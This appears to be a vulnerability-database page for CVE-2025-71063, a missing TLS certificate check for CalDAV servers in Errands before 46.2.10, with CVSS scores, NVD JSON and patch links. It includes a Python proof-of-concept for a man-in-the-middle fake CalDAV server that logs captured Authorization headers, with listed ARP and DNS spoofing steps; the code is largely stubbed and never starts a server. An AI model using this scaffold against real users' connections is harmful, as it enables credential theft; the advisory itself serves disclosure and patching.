Security Vulnerability Report
中文
CVE-2025-71063 CVSS 8.2 HIGH

CVE-2025-71063

Published: 2026-01-12 16:16:05
Last Modified: 2026-02-05 19:46:10

Description

Errands before 46.2.10 does not verify TLS certificates for CalDAV servers.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:mrvladus:errands:*:*:*:*:*:*:*:* - VULNERABLE
Errands < 46.2.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-71063 PoC - TLS Certificate Validation Bypass # This PoC demonstrates the vulnerability where Errands does not verify # CalDAV server TLS certificates import http.server import ssl import subprocess from datetime import datetime from pathlib import Path def generate_malicious_cert(): """Generate self-signed certificate for MITM attack""" # In real attack, attacker would use openssl to generate cert: # openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes pass def setup_fake_caldav_server(): """ Setup a fake CalDAV server with invalid/self-signed certificate. This simulates what Errands would connect to without cert validation. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) # Using self-signed certificate - should be rejected but Errands accepts it context.load_cert_chain('attacker_cert.pem', 'attacker_key.pem') # Simulate CalDAV responses to capture authentication data class MaliciousCalDAVHandler(http.server.BaseHTTPRequestHandler): def do_PROPFIND(self): # Log credentials from Authorization header auth_header = self.headers.get('Authorization', '') if auth_header: print(f"[+] Captured credentials: {auth_header}") # Return fake task data self.send_response(207) self.send_header('Content-Type', 'application/xml') self.end_headers() self.wfile.write(b'<?xml version="1.0"?><multistatus/>') def log_message(self, format, *args): # Suppress server logs pass return MaliciousCalDAVHandler def demonstrate_mitm_scenario(): """ Demonstrate the MITM attack scenario: 1. Attacker on adjacent network performs ARP spoofing 2. Traffic is redirected through attacker's machine 3. Attacker intercepts connection to legitimate CalDAV server 4. Fake server with invalid cert is presented 5. Vulnerable Errands client accepts the certificate 6. Attacker captures/modifies data in transit """ attack_steps = [ {"step": 1, "action": "ARP Spoofing", "description": "Attacker performs ARP spoofing on adjacent network to intercept traffic"}, {"step": 2, "action": "DNS Manipulation", "description": "Attacker manipulates DNS to redirect caldav.example.com to malicious server"}, {"step": 3, "action": "Fake Server Setup", "description": "Attacker sets up HTTPS server with self-signed/invalid certificate"}, {"step": 4, "action": "Connection Interception", "description": "Errands client connects without cert validation, accepting attacker's cert"}, {"step": 5, "action": "Data Exfiltration", "description": "Attacker captures credentials, reads/modifies task data in transit"} ] return attack_steps if __name__ == "__main__": print("CVE-2025-71063 TLS Certificate Validation Bypass PoC") print("=" * 60) print("Vulnerable: Errands < 46.2.10") print("Attack Type: Man-in-the-Middle (MITM)") print("=" * 60) # Note: This PoC requires proper certificates and network positioning # In production, ensure you have authorization before testing

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71063", "sourceIdentifier": "[email protected]", "published": "2026-01-12T16:16:04.947", "lastModified": "2026-02-05T19:46:10.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Errands before 46.2.10 does not verify TLS certificates for CalDAV servers."}, {"lang": "es", "value": "Errands antes de 46.2.10 no verifica los certificados TLS para servidores CalDAV."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mrvladus:errands:*:*:*:*:*:*:*:*", "versionEndExcluding": "46.2.10", "matchCriteriaId": "BFDE9F20-12F4-424C-A189-5120A5DFC91B"}]}]}], "references": [{"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1123738", "source": "[email protected]", "tags": ["Third Party Advisory", "Mailing List"]}, {"url": "https://github.com/mrvladus/Errands/commit/04e567b432083fc798ea2249363ea6c83ff01099", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mrvladus/Errands/compare/46.2.9...46.2.10", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mrvladus/Errands/issues/401", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/mrvladus/Errands/releases/tag/46.2.10", "source": "[email protected]", "tags": ["Release Notes"]}]}}